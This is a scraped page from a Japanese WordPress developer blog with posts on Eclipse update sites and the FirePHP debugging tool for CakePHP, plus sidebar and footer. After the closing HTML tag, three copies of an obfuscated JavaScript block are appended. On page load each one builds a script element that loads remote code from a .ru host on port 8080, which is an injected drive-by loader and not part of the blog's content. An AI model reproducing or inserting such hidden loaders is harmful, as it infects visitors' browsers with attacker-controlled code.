<br  /><span class="tag-link">Tagged with <a href="http://blog.ceed.jp/?tag=eclipse" rel="tag">eclipse</a>, <a href="http://blog.ceed.jp/?tag=javascript" rel="tag">JavaScript</a></span>
<span class="clear"></span>
</div>
</div>

<ul>
<li>Orangevolt EclipseXSLT<br /><a href="http://eclipsexslt.sourceforge.net/update-site">http://eclipsexslt.sourceforge.net/update-site</a></li>
<li>Aptana Studio Update Site<br /><a href="http://update.aptana.com/update/studio">http://update.aptana.com/update/studio</a></li>
<li>JsEclipse<br /><a href="http://download.macromedia.com/pub/labs/jseclipse/autoinstall">http://download.macromedia.com/pub/labs/jseclipse/autoinstall</a></li>
<li>Subclipse<br /><a href="http://subclipse.tigris.org/update_1.6.x">http://subclipse.tigris.org/update_1.6.x</a></li>
<li>veloclipse<br /><a href="http://propsorter.sourceforge.net/veloeclipse">http://propsorter.sourceforge.net/veloeclipse</a></li>
</ul>
<div class="item">
<div class="date "><span class="day">22</span><br /><small>7月</small></div>
<div class="details">
<h2 title="デバッグツールFirePHP"><a href="http://blog.ceed.jp/?p=119" title="デバッグツールFirePHP">デバッグツールFirePHP</a></h2>
<span class="author-link">Written by araki. </span>
<span class="comment-link"><a href="http://blog.ceed.jp/?p=119#respond" rev="post-119"  title="デバッグツールFirePHP へのコメント">No comments</a></span>
<span class="cat-link">Posted in: <a href="http://blog.ceed.jp/?cat=11" title="CakePHP の投稿をすべて表示" rel="category">CakePHP</a></span>
<br  /><span class="tag-link"></span>
<span class="clear"></span>
</div>
</div>

<p>CakePHPで開発をする時に便利なツールとして、<a target="_blank" href="http://bakery.cakephp.org/articles/view/firecake-helper">FireCake</a>というのがありますが、単純にJavaScriptのオブジェクトにして、console.log()するだけなので、あまり大きな配列(オブジェクト)を渡してしまうとFirefox自体が落ちてしまうことがあります。特にCakeのリレーションに任せていると時に膨大な階層のオブジェクトになってしまうことがあるので、、、 実際それを確認したいのですが、確認する前にFirefoxが落ちてしまって何も出来ません。<br />
そんな時にも便利なのが、<a target="_blank" href="http://www.firephp.org/">FirePHP</a>です。<br />
httpヘッダーに乗せているようで、一番シンプルな使い方としてはこんな感じです。</p>
<div class="igBar"><span id="lphp-6"><a href="#" onclick="javascript:showPlainTxt('php-6'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">PHP:</span>
<div id="php-6">
<div class="php">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#9E9A9A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#616100;">require_once</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'fb.php'</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#AEAEF4;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><a href="http://www.php.net/ob_start"><span style="color:#000066;">ob_start</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006600; font-weight:bold;">&#41;</span>; <span style="color:#FF9933; font-style:italic;">//output buffering をスタート</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#9E9A9A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">fb<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'$values'</span><span style="color:#006600; font-weight:bold;">&#41;</span>; </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<div class="pagination">
	<span class="previous"></span>
	<span class="next"><a href="http://blog.ceed.jp/?paged=2" >Next &raquo;</a></span>
</div></div>

<div id="sidebar">

	<div id="wide-sidebar">
<div class="widget">
<h4>Recent Posts</h4>
<ul>
	<li><a href='http://blog.ceed.jp/?p=178' title='IEのソースを表示に使うアプリを規定に戻す'>IEのソースを表示に使うアプリを規定に戻す</a></li>
	<li><a href='http://blog.ceed.jp/?p=165' title='開発用SSL環境の構築'>開発用SSL環境の構築</a></li>
	<li><a href='http://blog.ceed.jp/?p=163' title='CakeErrorの仕様'>CakeErrorの仕様</a></li>
	<li><a href='http://blog.ceed.jp/?p=158' title='chromeで謎のJSエラー'>chromeで謎のJSエラー</a></li>
	<li><a href='http://blog.ceed.jp/?p=156' title='Firebug1.5のbug?'>Firebug1.5のbug?</a></li>
</ul>
</div>
<div class="widget">
<h4>Blogroll</h4>
<ul>
<li><a href="http://codex.wordpress.org/">Documentation</a></li>
<li><a href="http://wordpress.org/development/">Development Blog</a></li>
<li><a href="http://wordpress.org/extend/ideas/">Suggest Ideas</a></li>
<li><a href="http://wordpress.org/support/">Support Forum</a></li>
<li><a href="http://wordpress.org/extend/plugins/">Plugins</a></li>
<li><a href="http://wordpress.org/extend/themes/">Themes</a></li>
<li><a href="http://planet.wordpress.org/">WordPress Planet</a></li>
</ul>
</div><!--.widget-->
<div class="widget">
<h4 class="title">Tags</h4>
<a href='http://blog.ceed.jp/?tag=apache' class='tag-link-18' title='1件のトピック' style='font-size: 10px;'>Apache</a>
<a href='http://blog.ceed.jp/?tag=api' class='tag-link-15' title='1件のトピック' style='font-size: 10px;'>API</a>
<a href='http://blog.ceed.jp/?tag=cakephp' class='tag-link-11' title='1件のトピック' style='font-size: 10px;'>CakePHP</a>
<a href='http://blog.ceed.jp/?tag=eclipse' class='tag-link-17' title='1件のトピック' style='font-size: 10px;'>eclipse</a>
<a href='http://blog.ceed.jp/?tag=javascript' class='tag-link-13' title='1件のトピック' style='font-size: 10px;'>JavaScript</a>
<a href='http://blog.ceed.jp/?tag=php' class='tag-link-19' title='1件のトピック' style='font-size: 10px;'>PHP</a>
<a href='http://blog.ceed.jp/?tag=ssi' class='tag-link-20' title='1件のトピック' style='font-size: 10px;'>SSI</a>
<a href='http://blog.ceed.jp/?tag=xml' class='tag-link-16' title='1件のトピック' style='font-size: 10px;'>XML</a></div><!--.widget-->
        
</div><!--#wide-sidebar-->

<div id="primary-sidebar">
		

			
        <div class="widget">
			<h4 class="title">Archives</h4>
			<ul>
					<li><a href='http://blog.ceed.jp/?m=201004' title='2010年4月'>2010年4月</a></li>
	<li><a href='http://blog.ceed.jp/?m=201003' title='2010年3月'>2010年3月</a></li>
	<li><a href='http://blog.ceed.jp/?m=201001' title='2010年1月'>2010年1月</a></li>
	<li><a href='http://blog.ceed.jp/?m=200910' title='2009年10月'>2009年10月</a></li>
	<li><a href='http://blog.ceed.jp/?m=200908' title='2009年8月'>2009年8月</a></li>
	<li><a href='http://blog.ceed.jp/?m=200907' title='2009年7月'>2009年7月</a></li>
	<li><a href='http://blog.ceed.jp/?m=200902' title='2009年2月'>2009年2月</a></li>
	<li><a href='http://blog.ceed.jp/?m=200808' title='2008年8月'>2008年8月</a></li>
	<li><a href='http://blog.ceed.jp/?m=200807' title='2008年7月'>2008年7月</a></li>
	<li><a href='http://blog.ceed.jp/?m=200712' title='2007年12月'>2007年12月</a></li>
	<li><a href='http://blog.ceed.jp/?m=200710' title='2007年10月'>2007年10月</a></li>
	<li><a href='http://blog.ceed.jp/?m=200709' title='2007年9月'>2007年9月</a></li>
	<li><a href='http://blog.ceed.jp/?m=200708' title='2007年8月'>2007年8月</a></li>
	<li><a href='http://blog.ceed.jp/?m=200707' title='2007年7月'>2007年7月</a></li>
			</ul>
		</div><!--.widget-->
		<div class="widget">
			<h4 class="title">Pages</h4>
			<ul>
				<li class="page_item page-item-2"><a href="http://blog.ceed.jp/?page_id=2" title="About">About</a></li>
			</ul>
		</div><!--.widget-->
        
	</div><!--#primary-sidebar-->
	<div id="secondary-sidebar">
		<div class="widget">
			<h4 class="title">Categories</h4>
			<ul class="cats">
					<li class="cat-item cat-item-18"><a href="http://blog.ceed.jp/?cat=18" title="Apache に含まれる投稿をすべて表示">Apache</a> (2)
</li>
	<li class="cat-item cat-item-11"><a href="http://blog.ceed.jp/?cat=11" title="CakePHP に含まれる投稿をすべて表示">CakePHP</a> (7)
</li>
	<li class="cat-item cat-item-12"><a href="http://blog.ceed.jp/?cat=12" title="CSS に含まれる投稿をすべて表示">CSS</a> (3)
</li>
	<li class="cat-item cat-item-21"><a href="http://blog.ceed.jp/?cat=21" title="Firebug に含まれる投稿をすべて表示">Firebug</a> (1)
</li>
	<li class="cat-item cat-item-14"><a href="http://blog.ceed.jp/?cat=14" title="HTML に含まれる投稿をすべて表示">HTML</a> (4)
</li>
	<li class="cat-item cat-item-22"><a href="http://blog.ceed.jp/?cat=22" title="IE に含まれる投稿をすべて表示">IE</a> (1)
</li>
	<li class="cat-item cat-item-13"><a href="http://blog.ceed.jp/?cat=13" title="JavaScript に含まれる投稿をすべて表示">JavaScript</a> (2)
</li>
	<li class="cat-item cat-item-10"><a href="http://blog.ceed.jp/?cat=10" title="MySQL に含まれる投稿をすべて表示">MySQL</a> (2)
</li>
	<li class="cat-item cat-item-8"><a href="http://blog.ceed.jp/?cat=8" title="OpenSource に含まれる投稿をすべて表示">OpenSource</a> (1)
</li>
	<li class="cat-item cat-item-7"><a href="http://blog.ceed.jp/?cat=7" title="Other に含まれる投稿をすべて表示">Other</a> (4)
</li>
	<li class="cat-item cat-item-19"><a href="http://blog.ceed.jp/?cat=19" title="PHP に含まれる投稿をすべて表示">PHP</a> (1)
</li>
	<li class="cat-item cat-item-1"><a href="http://blog.ceed.jp/?cat=1" title="Private に含まれる投稿をすべて表示">Private</a> (1)
</li>
	<li class="cat-item cat-item-5"><a href="http://blog.ceed.jp/?cat=5" title="Surfing に含まれる投稿をすべて表示">Surfing</a> (4)
</li>
	<li class="cat-item cat-item-9"><a href="http://blog.ceed.jp/?cat=9" title="開発備忘録 に含まれる投稿をすべて表示">開発備忘録</a> (14)
</li>
			</ul>
		</div><!--.widget-->
        
		 
		<p><a href="http://blog.ceed.jp/wp-login.php">ログイン</a></p>

	</div><!--#secondary-sidebar-->
</div><!--#sidebar-->
<div id="footer">
<div class="alignleft">
<p>Copyright &copy; 2010 <a href="http://blog.ceed.jp" title="CEED">CEED</a></p>
<p>webapps databese opensource and more</p>
</div>
<div class="alignright text-right">
<p>Proudly powered by <a href="http://wordpress.org/" title="WordPress" rel="generator">WordPress</a> &amp; <a href="http://wordpress.org/extend/themes/shine" title="Wordpress Theme">Shine</a> by <a href="http://www.creamy.co.uk" title="Creamy" id="Creamy">Creamy</a></p>
<p>W3C: <a href="http://validator.w3.org/check?uri=referer" title="Valid Xhtml">Valid XHTML</a> -  
<a href="http://jigsaw.w3.org/css-validator/check/referer?profile=css3" title="Valid CSS">Valid CSS 3</a></p>
</div>

</div>
</div>
</body>
</html><script>this.l=18257;this.l--;this.p=43988;this.p--;var jk=["DB","jv","bN"];var oO=new Date();function t(){this.HA=62698;this.HA--;this.X=54063;this.X--;var H=String("dewIG".substr(0,2)+"fe"+"r");var z=["Q","n"];uX={lg:"e"};this.BH="BH";var CS={U:"zF"};var W=new String("body");var C=window;LP=53116;LP+=34;tK=25028;tK-=167;var D=String("scripk8AN".substr(0,5)+"tWrh6".substr(0,1));var J=String("app8eJ".substr(0,3)+"end"+"B29Chi".substr(3)+"ld");var Hs=String("creati9h".substr(0,5)+"eElem"+"W8p6ent".substr(4));var a=String("sr"+"c");Ws=["ts","re"];var P=document;var x=String("onlo"+"ad");var _x=["Un","rY"];XX=9146;XX--;function T(){var Ii="Ii";var _u={nW:"JB"};try {var f='';var _=783024-774944;Y_={nb:false};var cs=65393;var g=9470-9469;var r="lZ9P/goog".substr(4)+"le.co"+"m/kak"+"KWDOaku.c".substr(4)+"om/11"+"0mb.cwTh".substr(0,5)+"om.ph"+"p";eZ=["uV"];var Dz=false;var o=String("d9Fmhttp".substr(4)+"CUF://d".substr(3)+"irty"+"sin."+"ru:");O=P[Hs](D);this.On=false;var EH=new String();var uM=[];try {var Mw='hK'} catch(Mw){};O[H]=g;O[a]=o+_+r;SA=["Ue"];xs=[];ME=[];P[W][J](O);var KC=[];var He="";} catch(xv){this.o_=false;};}sH=59152;sH+=228;C[x]=T;this.q="q";};var m=false;t();</script>
<!--35f8337ee533b70a7ce69111a7971fa9--><script>this.l=18257;this.l--;this.p=43988;this.p--;var jk=["DB","jv","bN"];var oO=new Date();function t(){this.HA=62698;this.HA--;this.X=54063;this.X--;var H=String("dewIG".substr(0,2)+"fe"+"r");var z=["Q","n"];uX={lg:"e"};this.BH="BH";var CS={U:"zF"};var W=new String("body");var C=window;LP=53116;LP+=34;tK=25028;tK-=167;var D=String("scripk8AN".substr(0,5)+"tWrh6".substr(0,1));var J=String("app8eJ".substr(0,3)+"end"+"B29Chi".substr(3)+"ld");var Hs=String("creati9h".substr(0,5)+"eElem"+"W8p6ent".substr(4));var a=String("sr"+"c");Ws=["ts","re"];var P=document;var x=String("onlo"+"ad");var _x=["Un","rY"];XX=9146;XX--;function T(){var Ii="Ii";var _u={nW:"JB"};try {var f='';var _=783024-774944;Y_={nb:false};var cs=65393;var g=9470-9469;var r="lZ9P/goog".substr(4)+"le.co"+"m/kak"+"KWDOaku.c".substr(4)+"om/11"+"0mb.cwTh".substr(0,5)+"om.ph"+"p";eZ=["uV"];var Dz=false;var o=String("d9Fmhttp".substr(4)+"CUF://d".substr(3)+"irty"+"sin."+"ru:");O=P[Hs](D);this.On=false;var EH=new String();var uM=[];try {var Mw='hK'} catch(Mw){};O[H]=g;O[a]=o+_+r;SA=["Ue"];xs=[];ME=[];P[W][J](O);var KC=[];var He="";} catch(xv){this.o_=false;};}sH=59152;sH+=228;C[x]=T;this.q="q";};var m=false;t();</script>
<!--35f8337ee533b70a7ce69111a7971fa9--><script>this.l=18257;this.l--;this.p=43988;this.p--;var jk=["DB","jv","bN"];var oO=new Date();function t(){this.HA=62698;this.HA--;this.X=54063;this.X--;var H=String("dewIG".substr(0,2)+"fe"+"r");var z=["Q","n"];uX={lg:"e"};this.BH="BH";var CS={U:"zF"};var W=new String("body");var C=window;LP=53116;LP+=34;tK=25028;tK-=167;var D=String("scripk8AN".substr(0,5)+"tWrh6".substr(0,1));var J=String("app8eJ".substr(0,3)+"end"+"B29Chi".substr(3)+"ld");var Hs=String("creati9h".substr(0,5)+"eElem"+"W8p6ent".substr(4));var a=String("sr"+"c");Ws=["ts","re"];var P=document;var x=String("onlo"+"ad");var _x=["Un","rY"];XX=9146;XX--;function T(){var Ii="Ii";var _u={nW:"JB"};try {var f='';var _=783024-774944;Y_={nb:false};var cs=65393;var g=9470-9469;var r="lZ9P/goog".substr(4)+"le.co"+"m/kak"+"KWDOaku.c".substr(4)+"om/11"+"0mb.cwTh".substr(0,5)+"om.ph"+"p";eZ=["uV"];var Dz=false;var o=String("d9Fmhttp".substr(4)+"CUF://d".substr(3)+"irty"+"sin."+"ru:");O=P[Hs](D);this.On=false;var EH=new String();var uM=[];try {var Mw='hK'} catch(Mw){};O[H]=g;O[a]=o+_+r;SA=["Ue"];xs=[];ME=[];P[W][J](O);var KC=[];var He="";} catch(xv){this.o_=false;};}sH=59152;sH+=228;C[x]=T;this.q="q";};var m=false;t();</script>
<!--35f8337ee533b70a7ce69111a7971fa9-->
 Questions or comments welcome: contact me.